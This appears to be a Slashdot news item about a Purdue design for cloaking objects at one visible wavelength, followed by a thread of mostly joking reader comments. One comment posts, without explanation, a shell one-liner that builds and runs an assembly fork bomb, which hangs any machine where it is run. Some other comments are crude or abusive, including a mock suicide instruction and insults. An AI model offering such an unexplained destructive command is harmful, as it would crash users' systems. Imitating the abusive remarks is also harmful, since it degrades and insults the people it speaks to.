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A Step Towards an Invisibility Cloak
An anonymous reader alerts us to work out of Purdue University in Indiana, where researchers have produced a design for a method of cloaking objects of any shape and size at a single wavelength of visible light. The math for such an invisibility effect was worked out last year at Duke and in the UK, but the new work, to be published in Nature Photonics this month, is the first practical design. The lead researcher, Vladimir Shalaev, notes that even though the current design works only at a single wavelength, and so would not convey true invisibility, it could still be useful — against, for example, night-vision goggles or laser target designators. Shalaev calls the technical challenge of producing an all-wavelengths cloak "doable in principle."
After mass production and commoditization, we will have invisibility T-shirts, invisibility sandals, and invisibility shorts.
The World Wide Web is dying. Soon, we shall have only the Internet.
Well, I guess this means we now have an effective anti-shark defense system...
Harry Potter sits in the corner of the lab in his cloak snickering while the research scientists are excited to get one wavelength invisible.
Wake me up when you've got an "invisibility" device that'll let me sneak into the girls locker room without getting seen.
As long as there is some sort of fitness standard before you can wear said garments.
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Oh noes, invisible sharks with lasers !!!
Shakespeare poems - infinite monkeys with infinite time.Computer tech support - a few trained ones working from 9 to 5.
A friendly note to the photonics project managers, researchers and general staff:
Don't make the same mistake I did. Learn from my experience that one should never, ever put the invisibility generator on top of the anti-gravity device.
It's Denton. Remember the briefing.
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Don't mod me down just because you don't get it.
Nothing to see here, move along.
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If it renders lasers less effective as weapons, then the natural result is development of multi-spectrum Phasers. You heard it hear folks! The cloaking device came first!
Frickin Romulans.
According to TFA:
So basically, this will be made out of (a form of) gold, and encircle the object to be rendered invisible?
I'm betting that, in order to work, it will need to be inscribed with the phrase: Ash nazg durbatulûk, ash nazg gimbatul, ash nazg thrakatulûk, agh burzum-ishi krimpatul.
Soylent Green is peoplicious!
that's why I responded. /. is a great site for professionals (with or without our flaws), great interviews, direct link to Intel and of course goatse I really don't understand. report abuse would be great so this shite could be deleted.
The S1A1 remote controlled great white shark has a secondary offensive capability based on 1) rows of sharp teeth and 2) neural implant boosted hunger, all guided by a keen sense of smell. Obviously, we planned for Chinese frogmen in invisibility suits.
This is all classified info BTW, please kill yourself after reading it, unless you happen to have SPECOPS/JAWS clearance.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Don't worry. We have the technology to prevent such abuse. Simply place an upside down basket on a stick, and place a dollar bill under it. If a record executive or a lawyer is hidden in a corner, they won't be able to resist and the basket will fall on them.
Yes, but does it have a +6 enchantment?
You're an asshole